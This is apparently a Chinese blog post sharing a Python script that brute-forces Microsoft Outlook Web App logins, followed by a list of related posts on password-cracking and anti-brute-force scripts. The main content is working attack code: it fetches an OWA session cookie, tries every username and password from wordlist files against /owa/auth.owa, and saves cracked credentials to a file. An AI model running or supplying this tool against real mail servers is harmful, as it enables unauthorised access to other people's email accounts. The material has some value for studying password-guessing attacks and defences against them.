其实msf里面存在这样的模块,search owa 即可,字典这种东西还是找规律密码去破解比较好

然后担心遇到渗透测试没有msf情况下,还是得自己写个脚本,网上找了一下lijiejie,但是运行不了,于是我就改了一下。单线程版本,outlook2010版本,我是判断headers中是都存在owa版本,lijiejie脚本那样判断这里行不通,有空再写个

多线程版本吧

# coding:utf-8
import threading
import requests
import argparse
import sys

'''
需要第一次访问获取session,加到data内容里面
'''
# parser = argparse.ArgumentParser(description='Microsoft OutLook WebAPP Brute Forcer.')
# parser.add_argument('domain', type=str, help='website domain name, e.g.
# email.baidu.com')

# args = parser.parse_args()

def open_file(path):
    wordlist = []
    with open(path, 'r') as f:
        while True:
            word = f.readline().strip()
            if len(word) == 0:
                break
            wordlist.append(word)
    return wordlist
users = open_file('user.txt')
passwords = open_file('pass.txt')

def get_session(domain):

    url = 'https://{url}/owa/auth/logon.aspx?replaceCurrent=1&url=https%3a%2f%2f{urls}%2fowa%2f'.format(
        url=domain, urls=domain)
    response = requests.get(url, verify=False, timeout=5)
    res = dict(response.headers)

    session = res['Set-Cookie'].split(';')[0]
    return session

def brute_outlook(domain):
    headers = {
        'Host': domain,
        'Connection': 'Keep-Alive',
        'Cache-Control': 'no-cache',
        'Origin': 'https://{}'.format(domain),
        'Upgrade-Insecure-Requests': '1',
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'Referer': 'https://{url}/owa/auth/logon.aspx?replaceCurrent=1&url=https://{urls}/owa/'.format(url=domain, urls=domain),
        'Accept-Encoding': 'gzip, deflate, br',
        'Accept-Language': 'en-US,en;q=0.8,ru;q=0.6',
        'Cookie': ''
    }
    for user in users:
        for pwd in passwords:
            while True:
                try:
                    session = get_session(domain)
                    break
                except:
                    print('error happened !!!#1')
            headers2 = headers
            headers2['Cookie'] = 'OutlookSession={}; PBack=0'.format(session)
            data = {'destination': 'https://{}/owa/'.format(domain),
                    'flags': '0',
                    'forcedownlevel': '0',
                    'trusted': '0',
                    'username': user,
                    'password': pwd,
                    'isUtf8': '1'

                    }
            while True:
		        try:

		            target = 'https://' + domain + '/owa/auth.owa'
		            response = requests.post(
		                target, data=data, headers=headers2, verify=False, timeout=7)
		            if dict(response.headers)['X-OWA-Version']:
		            	print('crack success'+'-----'+ user+':'+pwd)
		            	with open('crack_email.txt','a') as f:
		            		f.write(user+'--------'+ pwd+ '\n')
		            break
		        except:
		            print('error opened #2')
if __name__ == '__main__':
	if len(sys.argv) <2:
		print('python brute.py url')
		exit(0)
	domain = sys.argv[1]
	brute_outlook(domain)

  

  

owa_outlook暴力破解脚本的更多相关文章

  1. linux计划任务防暴力破解脚本+免密操作

    1.在root创建satools目录 mkdir satools 2.编辑防破解脚本 vi fpj.sh #!/bin/bash #zsl -xie cat /var/log/secure|awk ' ...

  2. SSH防暴力破解脚本

    crontab -e 编辑添加一下内容 1 1 * * * sh /root/bin/Denyhosts.sh 脚本内容 #!/bin/bash #Denyhosts SHELL SCRIPT #20 ...

  3. python 暴力破解密码脚本

    python 暴力破解密码脚本 以下,仅为个人测试代码,环境也是测试环境,暴力破解原理都是一样的, 假设要暴力破解登陆网站www.a.com 用户 testUser的密码, 首先,该网站登陆的验证要支 ...

  4. Linux CentOS 防止SSH暴力破解

    一. 问题的发现 昨晚苦逼加班完后,今早上班继续干活时,SSH连接服务器发现异常的提示,仔细看了一下吓一小跳,昨晚9点钟到现在,一夜之间被人尝试连接200+,慌~~~ 1. 速度查一下log [roo ...

  5. htpwdScan — 一个简单的HTTP暴力破解、撞库攻击脚本

    李姐姐之前跟我们分享了子域名枚举工具subDomainBrute<subDomainsBrute — 改进渗透测试时暴力枚举子域名的python脚本>,这回带给我们htpwdScan ht ...

  6. Python脚本暴力破解FTP口令(ftplib)

    目录 判断FTP服务器是否允许匿名登录 暴力破解FTP口令 列出FTP目录内的网页文件 综合 环境:Windows python2.7.15 ftplib模块是python下用于ftp服务的模块 . ...

  7. Python脚本暴力破解SSH口令以及构建僵尸网络(pxssh)

    目录 暴力破解SSH口令 SSH远端执行命令 构建僵尸网络 环境:Kali Linux  python 2.7.13 暴力破解SSH口令 Pxssh是pexpect库的ssh专用脚本,他能用预先写好的 ...

  8. shell脚本,防止sshd被暴力破解

    1.tail -f /var/log/secure 你会发现有很多的登录 错误.这说明你的机器正在被暴力破解. 2.新建 一个 shell脚 本 保存退出. 3.加入定时crontab -e 我这里每 ...

  9. 编写DVWA暴力破解High级别的Python脚本

    1. 过程(不查看源代码) 使用burpsuite或者owasp zap抓取数据包,可以看出页面执行过程如下: 首先获取上一次请求的token,然后sleep几秒,最后使用get方法提交验证. 2. ...

随机推荐

  1. wcf跨机器访问的问题

    wcf跨机器访问的问题 在wcf跨机器的访问中遇到了各种无法访问的问题,本人也是在通过个人解决问题的基础上发表一下自己的经验,如果还有其他方面可能影响wcf跨机器的问题,还希望大家多多发言! 好了废话 ...

  2. 重构 ORM 中的 Sql 生成

    Rafy 领域实体框架设计 - 重构 ORM 中的 Sql 生成   前言 Rafy 领域实体框架作为一个使用领域驱动设计作为指导思想的开发框架,必然要处理领域实体到数据库表之间的映射,即包含了 OR ...

  3. VIJOS1107 求树的最长链

    vijos1107环游大同80天 学习了一下求树的最长链的方法 最简单的思路就是两次dfs 两次dfs分别有什么用呢? 第一次dfs,求出某个任意的点能到达的最远的点 第二次dfs,从所搜到的最远的点 ...

  4. 高级NAT-DMZ配置 -虚拟主机配置

    我家里另有一个网络摄像头,我想将公网IP映射到摄像头的IP,这样可以远程监控.以前没有光猫,用TP-Link做ADSL路由器,一点问题都没有. 现在破解了F420,在“高级NAT”-“DMZ配置”,或 ...

  5. Group by Grouping

    玩转数据库之 Group by Grouping 有的时候我们要从数据库里把数据组织成树结构再展现到页面上 像下面这样 今天我们用Group 和Grouping实现它,并总结一下它俩. 先看一下概念, ...

  6. C# 遍历本地网络

    public static bool IsHNetCfgWayConnected(string opName) { NetSharingManagerClass netSharingMgr = new ...

  7. javascript call()函数

    js中的call()函数,简单的说就是用来纠正指正的吧! 调用一个对象的方法,用另一个对象替换当前对象,这样说显得相当的空洞与抽象,实例说明一切! <script type="text ...

  8. 让textbox紧贴IME

    将textbox放与页面最下方,并取消ApplicationBar. IE的ApplicationBar里放个了textbox,效果很炫,最重要用户体验很好. 于是也想对自己textbox做这样的设计 ...

  9. DAS,NAS,SAN在数据库存储上的应用

    DAS,NAS,SAN在数据库存储上的应用 一. 硬盘接口类型1. 并行接口还是串行接口(1) 并行接口,指的是并行传输的接口,比如有0~9十个数字,用10条传输线,那么每根线只需要传输一位数字,即可 ...

  10. MacOSX 下.app支持同时运行多个实例

    在MacOSX下的.app是一个程序包(实际上是个目录),双击该目录时系统会根据包的目录结构启动相应的可执行程序..app的程序默认是单实例运行的,所以从.app启动的程序实例只有一个(可执行程序不受 ...